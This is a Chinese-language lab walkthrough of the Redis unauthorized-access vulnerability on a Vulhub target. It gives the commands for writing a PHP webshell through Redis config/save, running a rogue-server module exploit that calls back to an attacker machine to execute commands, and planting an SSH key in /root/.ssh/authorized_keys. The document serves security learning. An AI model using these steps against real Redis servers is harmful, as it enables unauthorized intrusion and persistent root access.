【4-unacc】redis未授权访问漏洞
原理
Redis是一个开源的、内存中的数据结构存储系统,它可以用作数据库、缓存和消息中介。在默认情况下,Redis服务可能会绑定到公网IP的6379端口上,且没有设置密码认证(默认为空)。当Redis服务未配置任何访问控制策略(如防火墙规则、IP绑定或密码认证)时,它将面临未授权访问的风险。
漏洞影响版本
此漏洞影响Redis的多个版本,包括Redis 2.x.
3.x,4.x和5.x。
解题过程
1.安装redis-cli远程连接工具
⭐️注意:切换到root权限操作,否则会出现权限不足的问题,这里是错误的,作者懒得改了
sudo su
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8.17.tar.gz
2.编译和构建Redis的可执行文件
cd redis-stable
make
**cd redis-stable:**进入Redis源代码的目录。
**make:**在当前目录中执行Makefile文件,用于编译和构建Redis。Makefile是一个包含编译和构建指令的文件,通过运行make命令,可以自动执行这些指令,生成可执行文件或库文件。在这种情况下,make命令用于编译和构建Redis的可执行文件。
make的过程有点慢,耐心等待。
3.连接到Redis服务器
将src目录下的redis-cli文件复制到/usr/bin目录下;连接到Redis服务器,并显示帮助信息
cp src/redis-cli /usr/bin/
redis-cli -h
知识补充:
/usr/bin目录是一个存放可执行文件的目录。在Linux系统中,大部分的可执行文件都存放在这个目录下。这些可执行文件可以直接通过命令行来运行。一些常见的命令,如ls、cp、mv等,都是存放在/usr/bin目录下的可执行文件。
redis-cli文件是redis-cli工具的可执行文件。它可以在Redis的安装目录中找到,通常位于/usr/local/bin/redis-cli或/opt/redis/bin/redis-cli等位置。 使用redis-cli文件可以通过命令行界面连接到Redis服务器,并执行各种Redis命令。 连接到远程Redis服务器可以使用以下命令: redis-cli -h <hostname> -p <port> 其中,<hostname>是远程服务器的主机名或IP地址,<port>是Redis服务器的端口号。 连接成功后,可以使用各种Redis命令进行数据操作,例如: SET key value GET key DEL key 执行命令后,redis-cli会返回相应的结果。
4.redis-cli命令远程免密登录redis主机
redis-cli -h 目标主机IP
info可以查看靶机信息
5.写入shell文件
config set dir /tmp
config set dbfilename test.php
save
set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
exit
写入文件内容时添加几个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行
写入shell后,进入靶机查看是否成功写入:
docker exec -it f4a147a25642 /bin/bash
这个命令是在一个正在运行的Docker容器中执行一个交互式的bash shell。其中098263dc170f
是容器的ID,/bin/bash
是要执行的命令。通过运行/bin/bash命令,可以进入Bash shell,并在命令行中执行各种命令和脚本。
6.使用py脚本执行远程命令
git clone https://github.com/vulhub/redis-rogue-getshell.git
cd redis-rogue-getshell/RedisModulesSDK/exp
make
回到redis-rogue-getshell目录下,利用py模块进行攻击
./redis-master.py -r 192.168.17.180(靶机) -p 6379 -L 192.168.17.175(攻击机) -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"
./redis-master.py -r 192.168.17.180 -p 6379 -L 192.168.17.175 -P 8989 -f RedisModulesSDK/exp/exp.so -c "ls"
7.ssh公私钥免密登录
知识补充:
SSH公私钥免密登录是一种通过使用公私钥对来实现SSH登录时不需要输入密码的方法。以下是实现步骤:
1. 生成公私钥对:在本地机器上使用ssh-keygen命令生成公私钥对。默认情况下,生成的公私钥对会保存在~/.ssh目录下,其中id_rsa为私钥,id_rsa.pub为公钥。
2. 将公钥复制到目标机器:将生成的公钥复制到目标机器上的~/.ssh/authorized_keys文件中。可以使用ssh-copy-id命令来自动完成此步骤,命令格式为:ssh-copy-id -i ~/.ssh/id_rsa.pub user@host,其中user为目标机器上的用户名,host为目标机器的IP地址或域名。
3. 配置SSH服务器:在目标机器上,打开SSH服务器的配置文件/etc/ssh/sshd_config,确保以下配置项的值为yes:
- PubkeyAuthentication yes
- AuthorizedKeysFile .ssh/authorized_keys
4. 重启SSH服务器:在目标机器上,重启SSH服务器以使配置生效。可以使用以下命令来重启SSH服务器:
- Ubuntu/Debian:sudo service ssh restart
- CentOS/Fedora:sudo systemctl restart sshd
5. 测试免密登录:在本地机器上使用ssh命令连接到目标机器,如果一切配置正确,应该可以直接登录而不需要输入密码。
请注意,为了确保安全性,私钥文件应该设置为只有当前用户可读写的权限(chmod 600 ~/.ssh/id_rsa)。另外,为了提高安全性,可以使用passphrase对私钥进行加密,这样在使用私钥时需要输入passphrase进行解密。
在攻击机中生成ssh公钥和私钥文件,密码为空,连续三次回车
ssh-keygen -t rsa
进入/root/.ssh目录;将生成的公钥保存到1.txt:
cd /root/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
更改目标服务器Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh),发现没有权限
**原因:**目标服务器的redis不是root用户启动的
参考链接:<[Vulhub] Redis 4.x/5.x 未授权访问漏洞_vulhub有没有redis漏洞-CSDN博客>
<【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞_redis未授权漏洞vulhub靶场复现-CSDN博客>
更改目标服务器Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):config set dir /root/.ssh
设置上传公钥的备份文件名字为authorized_keys:CONFIG SET dbfilename authorized_keys
保存并退出:
此时在攻击机上使用SSH免密登录靶机,利用私钥成功登入redis服务器: